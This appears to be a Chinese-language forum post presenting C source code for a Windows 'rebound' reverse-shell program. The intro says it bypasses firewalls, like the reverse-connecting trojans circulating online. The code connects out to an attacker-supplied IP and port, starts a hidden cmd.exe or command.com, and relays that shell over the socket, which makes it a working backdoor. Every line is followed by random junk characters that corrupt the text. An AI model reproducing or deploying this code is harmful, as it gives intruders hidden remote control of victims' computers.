这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 5bAy@n
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/* ============================== oZIoY*7IrQ
Rebound port in Windows NT BeVQ[
By wind,2006/7 .qHgQ_%
===============================*/ r..Rh9v/=E
#include cLXMq"?C
#include uYs+xX_
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#pragma comment(lib,"wsock32.lib") %II |;<
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void OutputShell(); jbG #__#_
SOCKET sClient; ~< k'{
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 8J>s|MZ
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void main(int argc,char **argv) 3n,F5?!m
{ )Z]8SED
WSADATA stWsaData; h-6kf:XP%
int nRet; ;Neld #%J
SOCKADDR_IN stSaiClient,stSaiServer; ? 1_*ct=g9
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if(argc != 3)
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{ 'Yj/M
printf("Useage:\n\rRebound DestIP DestPort\n"); UGAP$_j
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return; `M|fwlAJQ
} C`DTPoXN
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9]|cs
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); TT>;!nb
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stSaiClient.sin_family = AF_INET; eO*FoN
stSaiClient.sin_port = htons(0); p-;*K(#X
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); "zYlddh
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) WJl&Vyl2FL
{ ZX'/[wAN)
printf("Bind Socket Failed!\n"); 1YQ|KJ*K
return; lh
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} {6RT&w
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stSaiServer.sin_family = AF_INET; $_NVy>\&
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); tLLP2^_&
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); pWeKN`
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QKe=/;
{ HD$W\P
printf("Connect Error!"); {wK98 >$a
return; zsWYV n]
} f BukrPsV
OutputShell(); CGPPo;RjK
} Z?dz@d%C
^
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void OutputShell() =%p0rz|b
{ s:6H^DQ"C
char szBuff[1024]; <&Y7Q[
SECURITY_ATTRIBUTES stSecurityAttributes; 8I`>tY
OSVERSIONINFO stOsversionInfo; )]?sCNb
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; :6%wVy5
STARTUPINFO stStartupInfo; <Knl6$B
char *szShell; )%gigQZ+
PROCESS_INFORMATION stProcessInformation; /u5MAl.<[
unsigned long lBytesRead; C#+Gkzq
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }c^`!9
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); RYy_Ppn96f
stSecurityAttributes.lpSecurityDescriptor = 0; +AO(e
stSecurityAttributes.bInheritHandle = TRUE; l7n c8K
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); HW)> `
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); r 1n l!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >6KuZ_
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7"FsW3an
stStartupInfo.wShowWindow = SW_HIDE; x} {/) ?vC
stStartupInfo.hStdInput = hReadPipe; 1@egAo)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 1 VcZg%I
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GetVersionEx(&stOsversionInfo); $@s&qi_&R
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switch(stOsversionInfo.dwPlatformId) +7.\>Ucq`
{ &iORB
case 1: FxW~Co
szShell = "command.com"; 3)3?/y)_
break; jEo)#j];`<
default: 59 R;n.Q
szShell = "cmd.exe"; !g'kWE[
break; i^f*Em1
} 9'Le}`Gf
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); tZB"(\
'S;INs2|->
send(sClient,szMsg,77,0); At@H
while(1) eVGO6 2|!
{ jb|al[p\
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 0Q`Dp;a5&
if(lBytesRead) UP' ~D]J
{ .nl!KzO6g
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); [3"k :
send(sClient,szBuff,lBytesRead,0);
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} >k }ea5+
else B<zoa=
{ >g+yw1nC
lBytesRead=recv(sClient,szBuff,1024,0); OX-t#R`
if(lBytesRead<=0) break; P{-j^'y
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4YX/=
} o<cg9
} 1DLAfsLlj
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return; 7@oM?r7td
}